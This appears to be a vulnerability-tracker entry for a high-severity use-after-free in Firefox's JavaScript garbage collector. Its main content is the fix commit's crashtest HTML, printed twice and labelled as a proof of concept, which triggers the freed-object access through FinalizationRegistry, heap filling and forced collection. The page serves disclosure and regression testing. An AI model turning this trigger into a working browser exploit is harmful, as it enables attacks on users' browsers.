High firefox Logic Error 🔧 Commit mapped

Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Impacthigh
DescriptionUse-after-free in the JavaScript: GC component
ComponentCore
Bug ClassLogic Error
Tracker2079059
Fix commit28f0865967cb (firefox) +49/-0
CISA KEVNot listed
CreditedMozilla
Disclosed2026-10-27

Changed Functions

FunctionChangeNotes
for
xpcom/tests/crashtests/bug-2079059.html
modified
if
xpcom/tests/crashtests/bug-2079059.html
modified

Files Changed

  • xpcom/tests/crashtests/bug-2079059.html
  • xpcom/tests/crashtests/crashtests.list
diff --git a/xpcom/tests/crashtests/bug-2079059.html b/xpcom/tests/crashtests/bug-2079059.html
new file mode 100644
index 00000000000..a074493f732
--- /dev/null
+++ b/xpcom/tests/crashtests/bug-2079059.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+function build() {
+  let e = new CustomEvent("x", {});
+  let fr = new FinalizationRegistry(function (held) {
+    globalThis.saved = e;
+  });
+  e.fr = fr;
+  fr.register({}, 1);
+}
+
+function fill(s) {
+  let arr = [];
+  for (let i = 0; i < 120000; i++) {
+    arr.push(new ArrayBuffer(64));
+  }
+  s.initCustomEvent("y", false, false, arr[60000]);
+  FuzzingFunctions.garbageCollect();
+  arr.length = 0;
+}
+
+function later() {
+  try {
+    let s = globalThis.saved;
+    if (!s) {
+      return;
+    }
+    fill(s);
+    FuzzingFunctions.garbageCollect();
+    let d = s.detail;
+    if (d) d.byteLength;
+  } finally {
+    document.documentElement.classList.remove("reftest-wait");
+  }
+}
+
+build();
+try {
+  FuzzingFunctions.garbageCollect();
+  FuzzingFunctions.cycleCollect();
+} catch (e) {}
+setTimeout(later, 100);
+</script>
+</body>
+</html>
diff --git a/xpcom/tests/crashtests/crashtests.list b/xpcom/tests/crashtests/crashtests.list
index 7c1435dedd0..2ea09c32cb0 100644
--- a/xpcom/tests/crashtests/crashtests.list
+++ b/xpcom/tests/crashtests/crashtests.list
@@ -1 +1,2 @@
 load bug-1714685.html
+pref(fuzzing.enabled,true) load bug-2079059.html
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/xpcom/tests/crashtests/bug-2079059.html b/xpcom/tests/crashtests/bug-2079059.html
new file mode 100644
index 00000000000..a074493f732
--- /dev/null
+++ b/xpcom/tests/crashtests/bug-2079059.html
@@ -0,0 +1,48 @@
+<!DOCTYPE html>
+<html class="reftest-wait">
+<head><meta charset="utf-8"></head>
+<body>
+<script>
+function build() {
+  let e = new CustomEvent("x", {});
+  let fr = new FinalizationRegistry(function (held) {
+    globalThis.saved = e;
+  });
+  e.fr = fr;
+  fr.register({}, 1);
+}
+
+function fill(s) {
+  let arr = [];
+  for (let i = 0; i < 120000; i++) {
+    arr.push(new ArrayBuffer(64));
+  }
+  s.initCustomEvent("y", false, false, arr[60000]);
+  FuzzingFunctions.garbageCollect();
+  arr.length = 0;
+}
+
+function later() {
+  try {
+    let s = globalThis.saved;
+    if (!s) {
+      return;
+    }
+    fill(s);
+    FuzzingFunctions.garbageCollect();
+    let d = s.detail;
+    if (d) d.byteLength;
+  } finally {
+    document.documentElement.classList.remove("reftest-wait");
+  }
+}
+
+build();
+try {
+  FuzzingFunctions.garbageCollect();
+  FuzzingFunctions.cycleCollect();
+} catch (e) {}
+setTimeout(later, 100);
+</script>
+</body>
+</html>
diff --git a/xpcom/tests/crashtests/crashtests.list b/xpcom/tests/crashtests/crashtests.list
index 7c1435dedd0..2ea09c32cb0 100644
--- a/xpcom/tests/crashtests/crashtests.list
+++ b/xpcom/tests/crashtests/crashtests.list
@@ -1 +1,2 @@
 load bug-1714685.html
+pref(fuzzing.enabled,true) load bug-2079059.html
Loading diff…